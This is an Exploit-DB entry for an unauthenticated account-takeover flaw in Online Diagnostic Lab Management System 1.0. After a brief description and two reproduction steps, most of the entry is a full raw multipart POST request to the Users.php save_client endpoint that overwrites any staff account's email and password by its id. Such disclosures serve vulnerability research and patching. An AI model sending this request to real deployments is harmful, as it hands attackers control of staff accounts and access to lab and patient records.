Exploit-DB #50660
Description: Online Diagnostic Lab Management System 1.0 - Account Takeover (Unauthenticated)
Type: webapps
Platform: php
Date: 2022-01-13
Author: Himash

Exploit:
#Exploit Title: Online Diagnostic Lab Management System 1.0 - Account Takeover (Unauthenticated)
#Date: 11/01/2022
#Exploit Author: Himash
#Vendor Homepage: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/odlms.zip
#Version: 1.0
#Tested on: Kali Linux


Online Diagnostic Lab Management System 1.0 is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "email", "password" and "cpass" parameters. 

#Steps to Reproduce

1. Send the below POST request by changing "id", "email", "password" and "cpass" parameters.

2. Log in to the user account by changed email and password.

POST /odlms/classes/Users.php?f=save_client HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Length: 1551
Origin: http://localhost
Connection: close
Referer: http://localhost/odlms/?page=user
Cookie: PHPSESSID=b17cc4d8837f564fc77d7b3e49b00d1e
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="id"

2
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="firstname"

Claire
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="middlename"

C
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="lastname"

Blake
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="gender"

Female
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="dob"

1997-10-14
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="contact"
[PII_REDACTED]3
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="address"

Sample Address only
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="email"

test@test.com
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="password"

Test@1234
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="cpass"

Test@1234
----------------------------[PII_REDACTED][PII_REDACTED]495861673
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED]495861673--